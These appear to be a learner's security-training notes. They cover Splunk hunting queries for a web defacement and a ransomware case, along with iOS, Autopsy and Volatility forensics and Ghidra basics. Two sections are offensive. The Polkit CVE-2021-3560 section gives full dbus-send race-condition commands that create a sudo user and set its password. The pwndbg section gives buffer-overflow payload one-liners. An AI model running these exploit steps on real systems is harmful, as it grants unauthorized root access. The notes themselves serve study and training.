        + index=botsv1 sourcetype=suricata (dest=imreallynotbatman.com OR dest="192.168.250.70") http.http\_method=POST .exe
      * Capturing the Source of the Executable
        + index=botsv1 sourcetype=suricata dest\_ip="192.168.250.70" http.http\_method=POST .exe
    - Determining the Hash of the Uploaded File
      * What is the MD5 Hash of the Executable Uploaded
        + <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>
        + <https://github.com/SwiftOnSecurity/sysmon-config>
      * What sourcetype Should I Start With
        + index=botsv1 3791.exe

earlier found executable

* + - * Sysmon
        + index=botsv1 3791.exe sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
        + index=botsv1 3791.exe sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational

return values like command issued to start a process execution as well as the parent command line

* + - * Isolating on MD5
        + index=botsv1 3791.exe sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=1

find CommandLine and ParentCommandLine values

EventCode field in Sysmon and search for value = 1

* + - * Exploring the Sysmon Event
        + index=botsv1 3791.exe CommandLine=3791.exe

previous found file and corresponding command line input

* + - * + search EventDescription for process creation, directory where it was executed, parent command line, host Sysmon was run on
      * Putting it Together
        + index=botsv1 3791.exe CommandLine=3791.exe
        + | stats values(MD5)

stats command with values function return all matches to a specific field

* + - Identifying the File that Defaced the Web Server
      * Looking at Directional Flow of Data
        + index=botsv1 dest=192.168.250.70 sourcetype=suricata

determine who is communicating with web server

* + - * + index=botsv1 src=192.168.250.70 sourcetype=suricata

treat web server as source of traffic instead of the destination

would a web server initiate outbound traffic

only if an admin logged into web server and surfed the web, among other reasons

* + - * Pivot into Destination IP Addresses to View URLs
        + index=botsv1 src=192.168.250.70 sourcetype=suricata dest\_ip=23.22.63.114

pivot the external destination IP addresses

* + - * Do Web Servers Start A Conversation
        + look for http GET and POST

index=botsv1 imreallynotbatman.com sourcetype=stream:http

web data flow POST v GET

* + - * + Any Similarities between Suricata and stream:http?

index=main src=192.168.250.70 sourcetype=stream:http

pivot into interesting fields like URI

* + - Validating the File that Defaced the Web Server
      * What About Firewall Data?
        + index=botsv1 sourcetype=fgt\_utm "192.168.250.70"

IPs of interest

* + - * What Search to Start With?
        + specify direction of communication path but limit the search using the NOT command

index=botsv1 sourcetype=fgt\_utm "192.168.250.70" NOT dest="192.168.250.70" | stats count

* + - * + index=botsv1 sourcetype=fgt\_utm "192.168.250.70" NOT src="192.168.250.70" |stats count
      * Use Web Site Categorization to Filter
        + index=botsv1 sourcetype=fgt\_utm "192.168.250.70" NOT dest="192.168.250.70"

UTM devices rate/classify websites like web filtering gateway

pivot to view malicious sites

* + - * Firewall Gives Us Confirmation
        + index=botsv1 sourcetype=fgt\_utm "192.168.250.70" NOT dest="192.168.250.70" category="Malicious Websites"

check for recurring files or items

* + - Identify the Fully Qualified Domain Name of the System that Defaced the Web Server
      * <http://blogs.splunk.com/2015/08/04/detecting-dynamic-dns-domains-in-splunk/>
      * <http://10.10.98.171:8000/en-US/static/@962d9a8e1586:0/app/investigate_workshop/APT-http-gettrafficflow.png>
      * Using Found Firewall Events (Fortigate Firewall)
        + index=botsv1 sourcetype=fgt\_utm "poisonivy-is-coming-for-you-batman.jpeg"
      * What Other Data Sets Saw This File?
        + index=botsv1 dest=23.22.63.114 "poisonivy-is-coming-for-you-batman.jpeg" src=192.168.250.70

using file in question, search for other sourcetypes that contain data with file name

* + - * Using stream:http
        + index=botsv1 dest=23.22.63.114 "poisonivy-is-coming-for-you-batman.jpeg" src=192.168.250.70 sourcetype=stream:http

search for events with same URL and FQDN

* + - * What If No Filename Is Found?
        + index=botsv1 answer=23.22.63.114 sourcetype=stream:dns | stats values("name{}")

because IP of concern is known, search DNS and look for DNS events with same IP

stats command can return values of the name[] field to find domain

* + - Using OSINT to Identify Attacker Infrastructure
      * What IP Address is tied to Domains that are pre-staged to attack
        + <http://www.robtex.com/>
        + <http://www.threatcrowd.org/>
        + <http://www.virustotal.com/>
    - Using OSINT to Create Linkages Between Email and Infrastructure
      * <http://www.virustotal.com/>
      * <http://whois.domaintools.com/>
      * <http://dnswhois.info/>
    - Using OSINT to Identify Associated Malware
      * <http://www.threatminer.org/>
      * <http://www.virustotal.com/>
      * <https://www.hybrid-analysis.com/>
    - Using OSINT to Find Clues Pertaining to the Adversary
      * <http://www.virustotal.com/>
      * <http://www.rapidtables.com/convert/number/hex-to-ascii.htm>
* Ransomware Review in Splunk
  + Overview
    - construct a timeline of events, traffic flow diagram – Kill Chain does not translate well to commercial malware
  + Identifying the IP Address of a Victim System
    - Host Centric Log Sources
      * index=botsv1 we8105desk
        + hostname and index on specific date
        + see which sourcetypes have events that reference the hostname value
    - src v src\_ip v src\_host
      * index=botsv1 we8105desk sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
        + stats command in Sysmon against src and dest to determine IP address of host
        + src provides hostnames and IP addresses, essential to look across fields to ensure max data collected
  + Identifying Removable Media
    - Windows Logs, Registry Logs
    - <https://msdn.microsoft.com/en-us/library/windows/hardware/jj649944(v=vs.85).aspx>
    - <https://answers.splunk.com/answers/450042/finding-usb-and-removable-media-detection.html>
      * index=botsv1 sourcetype=winregistry friendlyname
        + start broad search, specifying index and sourcetype of winregistry
    - Tabular View of Host, User and Friendly Name
      * index=botsv1 sourcetype=winregistry friendlyname | table host object data
        + look at hosts and USB inserts to get an idea of where they are occurring
        + check data field for potential USB name
  + Identifying the Malicious File
    - Finding Sysmon Events for the Infected System on an External Drive
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk "d:\\" | reverse
        + assume malicious file upload reference file paths within D:\, or other paths other than C:\, as it is removable media
    - Refining Search to Find D:\ ONLY in Command and Parent Command Line
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk (CommandLine="\*d:\\\*" OR ParentCommandLine="\*d:\\\*") | table \_time CommandLine ParentCommandLine | sort \_time
        + take results and table field with \_time and sort oldest to newest
  + Identifying Suspicious Processes Executing
    - Finding EXEs in Sysmon
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational \*.exe
        + needs refinement
    - Refining Search
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational \*.exe | eval length=len(CommandLine) | table CommandLine length
        + add eval and table but some events do not have CommandLine field populated
    - Further Improving Search
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational \*.exe CommandLine=\* host=we8105desk EventCode=1 | eval length=len(CommandLine) | table CommandLine length | sort – length
        + added host, EventCode for Process Creation and the CommandLine value needing to present along with sorting output
  + Identifying File Server Connections from Infected Host
    - Identifying Source of Sysmon Events
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk
        + Registry data from Windows Systems as well as Sysmon provide insight into file shares
        + connections created by ransomware should create events
    - Identifying Sysmon Events Originating from Bob’s system
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk src=we8105desk.waynecorpinc.local
        + look at EventDescription field to see all events of Network Connect type
    - Applying Stats Command
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk src=we8105desk.waynecorpinc.local | stats count by dest\_ip | sort – count
        + check to see number of network connections host has made using dest\_ip
    - Clarifying Results by Using Registry sourcetype with suspected IPs
      * index=botsv1 sourcetype=winregistry host=we8105desk fileshare
        + see key\_path field entries that reference one of top internal IP addresses
        + all logs within key\_path field have same key\_path with only one IP address referenced
      * Another way to find the answer
        + index=botsv1 sourcetype=winregistry host=we8105desk explorer | stats count by registry\_key\_name | sort – count

limit search to host in question and focus on internal IP addresses (nature of file shares)

* + - Identifying Hostname of File Server
      * index=botsv1 sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" 192.168.250.20
  + Identifying First Suspect Domain Visited by Victim
    - Isolating on DNS and the Source of the Query
      * index=botsv1 sourcetype=stream:DNS src=192.168.250.100
    - Further Filtering on A Records
      * index=botsv1 sourcetype=stream:DNS src=192.168.250.100 record\_type=A
        + view DNS queries going out to different sites
    - Excluding Well Known Domains From Search
      * index=botsv1 sourcetype=stream:DNS src=192.168.250.100 record\_type=A NOT (query{}=\*.microsoft.com OR query{}=\*.waynecorpinc.local OR query{}=\*.bing.com) | stats count by query{} | sort - 10 count
        + using conditions like AND OR and NOT
    - Further Refinement
      * index=botsv1 sourcetype=stream:DNS src=192.168.250.100 record\_type=A NOT (query{}=\*.microsoft.com OR query{}=\*.waynecorpinc.local OR query{}=\*.bing.com OR query{}=\*.windows.com OR query{}=\*.msftncsi.com) | stats count by query{} | sort - 10 count
        + whois found returns
    - Further Elimination
      * index=botsv1 sourcetype=stream:DNS src=192.168.250.100 record\_type=A NOT (query{}=\*.microsoft.com OR query{}=\*.waynecorpinc.local OR query{}=\*.bing.com OR query{}=isatap OR query{}=wpad OR query{}=\*.windows.com OR query{}=\*.msftncsi.com) | table \_time query{} src dest | reverse
        + google returns that are unknown to eliminate possibilities
  + Identifying Crypto Code Filename and Origin
    - Starting with stream:http
      * index=botsv1 sourcetype=stream:http src=192.168.250.100 | stats count values(url) by dest
        + use stats command to return all values
        + look through destination addresses and URLs

look for recurring suspect sites

suspicious files

* + - Confirm with Suricata
      * index=botsv1 sourcetype=suricata src=192.168.250.100 url=\* | stats count values(url) by dest
    - Corroborate with Google and OSINT
    - UTM Confirmation of Stream and Suricata
      * index=botsv1 sourcetype=fgt\_utm src=192.168.250.100 mhtr.jpg | table \_time src dest msg url action
    - Viewing Subsequent Activity As Seen on UTM
      * index=botsv1 sourcetype=fgt\_utm src=192.168.250.100 app="Cerber.Botnet" | reverse
        + signature and IoC
  + Identifying Parent/Child Processes
    - CommandLine
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational 121214.tmp
        + check Sysmon for specific process or file numbers
    - Relationship Between Process and Parent Process
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational 121214.tmp CommandLine=\* | table \_time CommandLine ProcessId ParentProcessId ParentCommandLine | reverse
        + use table command to see time along with process that was executed
        + reverse to view oldest to newest to view process of execution
  + Determine Which Signatures Specific to the Ransomware Alerted
    - Searching Suricate sourcetype
      * index=botsv1 sourcetype=suricata alert.signature=\*cerber\*
    - Suricata Signatures that Reference Suspect Files
      * index=botsv1 sourcetype=suricata alert.signature=\*cerber\* | stats count by alert.signature alert.signature\_id | sort count
        + use stats to view least or most common flagged events
  + Damage Assessment – Identifying Encrypted Text Files
    - <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#events>
    - Initial Search
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk \*.txt
        + Target\_Filename value to view text files that are referenced in Sysmon events
    - Sysmon EventCode
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk \*.txt
        + EventCode and EventDescription to find correlation between values
        + File Create Time (Code 2)
    - TargetFilename
      * index=main sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk \*.txt EventCode=2
        + look at location of files, if they are within infected host
        + expand and see files that fall under hostname user and Sysmon
    - Finding Source Addresses
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk EventCode=2 TargetFilename="C:\\Users\\bob.smith.WAYNECORPINC\\\*.txt"
        + look for TargetFilenames that reference user, remove files and sub-directories that are unrelated
    - Stats of Infection
      * index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk EventCode=2 TargetFilename="C:\\Users\\bob.smith.WAYNECORPINC\\\*.txt" | stats dc(TargetFilename)
  + Damage Assessment – Identifying Distinct PDFs Encrypted
    - Search with IPs
      * index=botsv1 sourcetype=\*win\* pdf
        + need to use hostname, not IP
    - Searching with Correct Destination
      * index=botsv1 sourcetype=\*win\* pdf dest=we9041srv.waynecorpinc.local
        + hostname for fileshare, including Relative Target Name that includes files and Share Path
    - Identifying sourcetypes Associated with Search Values
      * index=botsv1 sourcetype=\*win\* pdf dest=we9041srv.waynecorpinc.local Source\_Address=192.168.250.100 | stats dc(Relative\_Target\_Name)
  + Identifying Redirection Post Encryption to a Domain
    - <https://splunkbase.splunk.com/app/2734/>
    - Quick Review
      * index=botsv1 sourcetype=stream:DNS src=192.168.250.100 record\_type=A
    - Filter Out Known Domains
      * index=botsv1 sourcetype=stream:DNS src=192.168.250.100 record\_type=A NOT (query{}=\*.microsoft.com OR query{}=\*.waynecorpinc.local OR query{}=\*.bing.com OR query{}=isatap OR query{}=wpad OR query{}=\*.windows.com OR query{}=\*.msftncsi.com) | table \_time query{} src dest
* Build Timeline

iOS Forensics and Incident Response

* Digital Forensics and Contemporary Application
  + - The act of hiding evidence will itself leave evidence
  + Hard Drive Images
    - bit-for-bit replications
  + IoT – passive collection of information that can be used as evidence of action
* Problems Facing Digital Forensic Analysis
  + Time Consumption and Resources
  + Understanding the Person
  + Encryption
  + Steganography
  + Cost of Entry
* iOS File Systems
  + Proprietary File System Formats
    - AFS
      * full disk encryption
      * smarter data management using storage references
        + like inodes in linux
    - HFS+
      * older, no encryption support
* Modern iOS Security
  + Arms race to bypass security measures via Cellebrite UFED, for example
  + remote wipes, triggers, turn offs
  + iOS Restricted Mode
    - disables input/output of data functionality from the lightning charge cable until unlocked with a passcode
* Data Acquisition & Trust Certificates
  + <https://www.digital-detective.net/digital-forensics-documents/ACPO_Good_Practice_Guide_for_Digital_Evidence_v5.pdf>
  + Four Primary Methods
    - Direct Acquisition – interacting with the device itself
    - Logical/Backup Acquisition – utilizing the iTunes backup of a phone for file system entry or use of forensic software such as .plists
    - Advanced Logical Acquisition – Using the escalated privileges to an iPhones file system found when pairing an iOS devices to a computer using either itunes or Xcode
    - Physical Acquisition – use of forensic imagining kits such as Cellebrite to take entire bit-for-bit copies of boththe data and system partitions
  + Direct Acquisition
    - no password
    - known password
    - analyst has a lockdown certificate
  + Logical or Backup Acquisition
    - uploaded backup to a friendly computer system
  + iTunes Backups and Trust Certificates
    - iTunes has sudo-like privs when accessing and backing up the phone
    - only backs up to trusted computers
      * established through the creation of a pair certificate on the phone and system
      * stored in /private/var/db/lockdown or /private/var/Lockdown
    - contains private keys used to encrypt and decrypt against the iPhones public key
  + Trust Certificates Explained
    - stored for 30 days but can only be used for 48 hours since the user has last unlocked their phone
  + How Can Trust Certificates Be Utilized
    - iTunes creates two types of backups resulting in varying amounts of data being backed up onto the computer
      * Encrypted and Unencrypted
        + Unencrypted will not possess passwords, health and Homekit data
        + Encrypted will possess these as well as wifi passwords, internet account credentials, VPNs, root certificates, exchange and email credentials
    - <http://farleyforensics.com/2019/04/14/forensic-analysis-of-itunes-backups/>
* Analyzing iOS Files
  + Plists
    - proprietary file standardization Apple used that holds data
    - .plist files need a hex editor such as HxD to view information stored
  + Databases
    - sqlite or db format
      * SMS, Contacts, email, calendar
    - can use lightweight database browser
      * DB Browser for SQLite
  + text editor, DB for SQLite, HxD – try them all for files to view important information

Threat Intelligence

* Understanding Threat Intelligence
  + Key Terms
    - Red Team Tools
    - Advanced Persistent Threat (APT)
    - Internet of Things (IoT)
    - Zero-Day Exploit
    - Blue Team
* Reviewing Reports
  + - <https://www.fireeye.com/blog/threat-research/2020/12/unauthorized-access-of-fireeye-red-team-tools.html>
    - <https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html>
  + Naming APTs
  + Countermeasures
  + Files used
  + Checksums
  + TTPs
  + MITRE ATT&CK
  + RFCs
* Resources
  + <https://github.com/fireeye/red_team_tool_countermeasures>
  + <https://github.com/fireeye/sunburst_countermeasures>
  + <https://www.youtube.com/watch?v=QZOW0itnyLU&t=1710s>

Volume Shadow Copy Service

* VSS coordinates the actions that are required to create a consistent shadow copy of data that is to be backed up in case of Ransomware attack
  + some malware writers will specifically write for and search for this Windows feature to turn off and delete these files
* Task Scheduler is also of interest
* To interact with VSS
  + command line – vssadmin
    - List Volumes
      * vssadmin list volumes
        + check drive volumes
        + use Disk Management to further research

right click partitions, view properties 🡪 Security

Change Drive Letter and Paths 🡪 Add

* + - List Shadows

pwndbg – Assembly Source Code Breakdown and Analysis – Binary Exploitation

* plugin for GDB
  + look to overwrite EIP, which is known as the instruction pointer
  + Recall that cyclic input goes in 4 character/byte sequences, meaning we're able to calculate exactly how many characters we need to provide before we can overwrite EIP
    - cyclic provides this functionality with the -l flag, running cyclic -l {fault address} will tell us exactly how many characters we need to provide we can overwrite EIP
  + Now the next step is to find out exactly where the shell function is in memory so we know what to set EIP to. GDB supports this as well with the disassemble command
    - hex memory addresses
      * Modern CPU architectures are "little endian" meaning bytes are backwards. For example "0x080484cb" would become "cb840408”
        + *Method 1 - Manual conversion:*
        + *python -c 'print "A"\*44 + "\xcb\x84\x04\x08"' will output the payload we want, but it requires manually converting to little endian*
        + *Method 2 - Struct:*
        + *python -c 'import struct;print "A"\*44 + struct.pack("<I",0x080484cb)'*
        + *It requires importing a module but struct.pack allows us to automatically convert memory to little endian.*
  + Pwntools is a python library dedicated to making everything we just did in the last task much simpler
* <http://docs.pwntools.com/en/stable/>
* <https://browserpwndbg.readthedocs.io/en/docs/>

Ghidra

* Intro
  + Ghidra Download
    - <https://ghidra-sre.org/>
  + Requires Java(11+)
    - sudo apt install openjdk-13-jre openjdk-13-jdk
* Creating a New Project
  + File 🡪 New Project 🡪 Non-Shared Project
    - Make project directory, name, finish
* Analyzing a Binary
  + File 🡪 Import File
  + Analyze
  + Symbol Tree
    - functions
    - general analysis
      * wont be interested in functions that start with “\_”, they are created during compilation
        + others are functions that the binary creator mode
* Miscellaneous Operations
  + Section 1 – Patching Binaries
    - click asm instruction and “Patch Instruction”
  + Section 2 – Searching
    - Click Navigation 🡪 Go To 🡪 <input memory address>
  + Other operations
    - <https://ghidra-sre.org/CheatSheet.html>

Autopsy

* Installation
  + Windows
    - <https://www.autopsy.com/download>
  + Kali
    - pre-downloaded
      * sudo autopsy
      * localhost:9999/autopsy
* Workflow Overview
  + Basic Workflow
    - create a case for the data source to be investigated
    - select the data source you wish to analyze
    - configure ingest modules to extract specific artifacts from data source
    - review the artifacts extracted
    - create the report
  + Step 1
    - New Case
      * Case Information
        + Single-User (Local) or Multi-User (Server-based)
      * case files use an .aut file extension
* Data Sources
  + Various Sources
    - Disk Image, VM File
    - Local Disk
    - Logical Files
    - Unallocated Space Image File
    - Autopsy Logical Imager Results
    - XRY Text Export
  + Disk Image or VM File
    - support Disk Image Formats
      * Raw Single (img,dd, raw, bin)
      * Raw Split (001, 002, aa, ab, etc)
      * EnCase (e01, e02, etc)
      * VirtualMachines (vmdk, vhd)
    - multiple files? – just point to first one
  + <http://sleuthkit.org/autopsy/docs/user-docs/4.12.0/ds_page.html>
* Ingest Modules
  + Autopsy Plugins designed to analyze and retrieve specific data from drive
    - default – run All Files, Directories, Unallocated Space
      * alternatively – All Files and Directories (Not Unallocated Spaces)
        + or Create/Edit File ingest filters
  + Autopsy adds metadata about files to the local database
    - once done, click finish
  + Results of Ingest Modules
    - populates in Results node in Tree review
    - can run modules at any time – right-click data source and select Run Ingest Modules
* The User Interface
  + Five Primary Areas
    - Tree Viewer
    - Result Viewer
    - Keyword Search
    - Contents Viewer
    - Status Area
  + Tree Viewer
    - Five Nodes
      * Data Sources – data organized similar to File Explorer
      * Views – based on types
      * Results – Ingest Module Results
      * Tags – display files and/or results that have been tagged
      * Reports – display reports either generated by modules or the analyst
  + Result Viewer
    - After selecting a specific volume, file, folder, etc. additional information is displayed
    - Three Tabs
      * Table
      * Thumbnail – best for image or video files
      * Summary
    - volume nodes can be expanded and an analyst can navigate volumes contents
    - Views Tree Node – files are categorized by File Types
      * By Extension
      * By MIME Type
      * Deleted Files
      * File Size
    - Files purposefully misnamed will be miscategorized by By Extension but correctly under By MIME Type
  + Contents Viewer
    - From Table tab in Results Viewer – clicking on any folder/file will display additional information displayed in the Contents Viewer pane
      * S = Score – shows red for notable files and yellow for suspicious (marked by ingest Module or analyst)
      * C = Comment – comments found for folder/file
      * O = Occurrence – indicates how many times this file/folder has been seen in past cases
        + requires Central Repository
  + Keyword Search
    - Keyword Search – analyst performs AD-HOC keyword search
  + Status Area
    - progress bar will be displayed when Ingest Modules are running
  + <http://sleuthkit.org/autopsy/docs/user-docs/4.12.0/uilayout_page.html>
* Visualization Tools
  + - Images/Videos - <http://sleuthkit.org/autopsy/docs/user-docs/4.12.0/image_gallery_page.html>
    - Communications - <http://sleuthkit.org/autopsy/docs/user-docs/4.12.0/communications_page.html>
    - Timeline - <http://sleuthkit.org/autopsy/docs/user-docs/4.12.0/timeline_page.html>
  + Timeline Tools
    - Filters
    - Events
    - Files/Contents
  + View Modules
    - Counts – bar chart
    - Details – clustered/collapsed information concerning specific events
      * expand with green plus
      * collapse with red minus
      * pin events
      * hide events
    - List – table view
* Autopsy II
  + Hash of Image
    - Data Sources
      * Choose Image
        + File Metadata
  + Computer Account Name
    - Results
      * Extracted Content
        + Operating System Information

SYSTEM

Results

Name

* + User Accounts
    - Results 🡪 Extracted Content
      * Operating System User Account
  + IP/MAC/Network Tool
    - Data Sources 🡪 Choose Image
      * Program Files (x86)
        + Look@LAN (Network Tool)

irunin.ini

LANIP - IP

LANNIC – MAC

* + Network Cards
    - Results 🡪 Extracted Content
      * Operating System Information
        + SOFTWARE

ROOT/Microsoft/Windows NT/CurrentVersion/NetworkCards

Description

* + Bookmarks
    - Extracted Content
      * Web Bookmarks
  + Usernames, Desktop Wallpapers
    - Images/Videos
      * Downloads
  + Powershell Use and Changes to Files
    - image/Users/<username>/AppData/Roaming/Microsoft/Windows/Powershell/PSReadline/ConsoleHost\_history.txt
  + Exploit Detection by User
    - /Users/<username>/Desktop/<exploit file>
    - for example
  + Exploit/Hack Tool Detection
    - likely removed by user or by AV/defender
      * check defender history
        + vol3/ProgramData/Microsoft/Windows Defender/Scans/History/Service/DetectionHistory/…

check file text

* + Exploit File Detection
    - Extracted Content 🡪 Recent Documents
      * search for odd files
      * zerologon.exe for example
* Conclusion
  + <https://github.com/sleuthkit/autopsy_addon_modules>
  + <https://www.cfreds.nist.gov/data_leakage_case/data-leakage-case.html>

Polkit: CVE-2021-3560

* Background
  + seven year old privilege escalation vulnerability (since designated CVE-2021-3560) in the Linux polkit utility
    - Red Hat Enterprise Linux 8
    - Fedora 21 (or later)
    - Debian Testing ("Bullseye")
    - Ubuntu 20.04 LTS ("Focal Fossa")
  + Canonical released a patch for their version of polkit (policykit-1),
    - which has version number 0.105-26ubuntu1.1.
      * The last vulnerable version available in the apt repositories for Focal Fossa is 0.105-26ubuntu1
    - apt list --installed | grep policykit-1 to check the installed version of polkit:
  + What is Polkit
    - Polkit is part of the Linux authorisation system. In effect, when you try to perform an action which requires a higher level of privileges, the policy toolkit can be used to determine whether you have the requisite permissions. It is integrated with systemd and is much more configurable than the traditional sudo system. Indeed, it is sometimes referred to as the "sudo of systemd".
  + How is Polkit Vulnerable
    - by manually sending dbus messages to the dbus-daemon (effectively an API to allow different processes the ability to communicate with each other),
      * then killing the request before it has been fully processed, we can trick polkit into authorising the command.
    - the vulnerability can be boiled down to these steps:
      * The attacker manually sends a dbus message to the accounts-daemon requesting the creation of a new account with sudo permissions (or latterly, a password to be set for the new user). This message gets given a unique ID by the dbus-daemon.
      * The attacker kills the message after polkit receives it, but before polkit has a chance to process the message. This effectively destroys the unique message ID.
      * Polkit asks the dbus-daemon for the user ID of the user who sent the message, referencing the (now deleted) message ID.
      * The dbus-daemon can't find the message ID because we killed it in step two. It handles the error by responding with an error code.
      * Polkit mishandles the error and substitutes in 0 for the user ID -- i.e. the root account of the machine.
      * Thinking that the root user requested the action, polkit allows the request to go through unchallenged.
    - by destroying the message ID before the dbus-daemon has a chance to give polkit the correct ID,
      * we exploit the poor error-handling in polkit to trick the utility into thinking that the request was made by the all-powerful root user.
* Exploitation Process
  + Let's try to add a new user called attacker, with sudo permissions, and a password of Expl01ted. Just read this information for now -- you will have time to try it in the next task!
    - dbus-send --system --dest=org.freedesktop.Accounts --type=method\_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
      * This command will manually send a dbus message to the accounts daemon,
        + printing the response and creating a new user called attacker (string:attacker)

with a description of "Pentester Account" (string:"Pentester Account")

and membership of the sudo group set to true (referenced by theint32:1 flag).

* + - dbus-send --system --dest=org.freedesktop.Accounts --type=method\_call --print-reply /org/freedesktop/Accounts/UserUSER\_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD\_HASH' string:'Ask the pentester'
      * sends a dbus message to the accounts daemon,
        + requesting a password change for the user with an ID which we specify (shown in red),

a password hash which we need to generate manually,

and a hint ("Ask the pentester")

* + first need to determine how long our command will take to run. Let's try this with the first dbus message:
    - time dbus-send --system --dest=org.freedesktop.Accounts --type=method\_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
      * need to kill the command approximately halfway through execution.
        + Five milliseconds usually works fairly well on the provided machine; however, be aware that this is not an exact thing.
    - dbus-send --system --dest=org.freedesktop.Accounts --type=method\_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!
      * we sent the dbus message in a background job (using the ampersand to background the command).
        + We then told it to sleep for 5 milliseconds (sleep 0.005s),

then kill the previous process ($!). This successfully created the new user, adding them into the sudo group.

* + - * + We should note down at this point that the user ID of the new user.
  + all we need to do is give the user a password and we should be good to go!
    - generate a Sha512Crypt hash for our chosen password (Expl01ted):  
      openssl passwd -6 Expl01ted
      * generate a password of type 6 (SHA512-crypt) and our plaintext password (Expl01ted).
    - dbus-send --system --dest=org.freedesktop.Accounts --type=method\_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
      * su attacker
      * sudo -l
      * sudo -s

Mobile Malware Analysis

* Early Instances of Mobile Malware
  + Cabir on Symbian OS via Bluetooth
* Malware Analysis
  + MobSF Application
    - File Upload for Static and Dynamic Analysis
    - Package Name
    - Creator Program
    - Hash Signatures
    - XML files
  + Virus Total
* Critical Info
  + Permissions
  + Properties
  + NIAP Analysis
  + Functions
  + Programming Language
  + Signatures and Signature Schemes
  + Decompiled Code
  + App Names
  + Severities
* OSI
  + MITRE ATT&CK
    - TTPs
  + Google
* References
  + <https://github.com/OWASP/owasp-mstg>
  + <https://attack.mitre.org/matrices/mobile/android/>
  + <https://attack.mitre.org/matrices/mobile/android/>
  + <https://tryhackme.com/room/malmalintroductory>
  + <https://tryhackme.com/room/androidhacking101>
  + <https://tryhackme.com/room/iosforensics>

Volatility

* Introduction
  + free memory forensics tool
  + <https://darkstar7471.com/>
    - voluser:volatility
* Obtaining Memory Samples
  + Capture memory of live machines
    - * FTK Imager
        + <https://accessdata.com/product-download/ftk-imager-version-4-2-0>
      * Redline
        + <https://www.fireeye.com/services/freeware/redline.html>
      * DumpIt.exe
      * win32dd.exe / win64dd.exe
    - output a .raw file that contains image of system memory
  + Offline Machines
    - Windows
      * %SystemDrive%/hiberfil.sys
        + Windows hibernation file contains a compressed memory image from previous boot
  + Virtual Machines
    - * VMware - .vmem file
      * Hyper-V - .bin file
      * Parallels - .mem file
      * VirtualBox - .sav file
    - found in data store of the corresponding hypervisor and can be copied without shutting VM off
      * zero disturbance for integrity assurance
* Examination
  + Profiles determine how Vol treats memory image
    - volatility -f MEMORY\_FILE.raw imageinfo
      * provides number of profiles to test with
        + test with pslist command, validating profile selection

volatility -f MEMORY\_FILE.raw - -profile=PROFILE pslist

* + Look at Process IDs
  + View active network connections at time of image creation
    - volatility -f MEMORY\_FILE.raw - -profile=PROFILE netscan
  + View hidden processes via psxview command
    - * False listing
    - Check with ldrmodules
      * three columns
        + InLoad
        + InInit
        + InMem
      * if any are false, module has likely been injected
  + View unexpected patches in standard system DLLs
    - apihooks command
      * look for instances where Hooking module:<unknown>
        + indicator of compromise
  + Check for injected code
    - malfind command
      * volatility -f MEMORY\_FILE.raw - -profile=PROFILE malfind -D <Destination Directory>
  + View all DLLs loaded into memort
    - dlllist command
    - pull out command
      * volatility -f MEMORY\_FILE.raw - -profile=PROFILE - -pid=PID dlldump -D <Destination Directory>
        + PID is the ID of the infected process identified (via psxview and ldrmodules)
* Post Actions
  + Community Sharing
    - VirusTotal
    - Hybrid Analysis
* Additional Sources
  + AlienVault Open Threat Exchange (OTX)
    - <https://otx.alienvault.com/dashboard/new>
  + SANS 408
    - <https://www.sans.org/blog/for408-windows-forensic-analysis-has-been-renumbered-to-for500-windows-forensics-analysis/>
  + <https://youtu.be/dB5852eAgpc>
    - <https://github.com/kevthehermit/VolUtility>
  + <https://www.amazon.com/Art-Memory-Forensics-Detecting-Malware/dp/1118825098/ref=sr_1_2?crid=W5I8MKDUXVWD&keywords=the+art+of+memory+forensics&qid=1582172165&sprefix=the+art+of+memory+%2Caps%2C152&sr=8-2>
  + <https://github.com/stuxnet999/MemLabs>

Volatility (cont.)

* Introduction
  + <https://github.com/volatilityfoundation/volatility/>
  + <https://github.com/volatilityfoundation/volatility/wiki>
  + <https://book.hacktricks.xyz/forensics/volatility-examples>
  + <https://book.cyberyozh.com/counter-forensics-anti-computer-forensics>
* Login
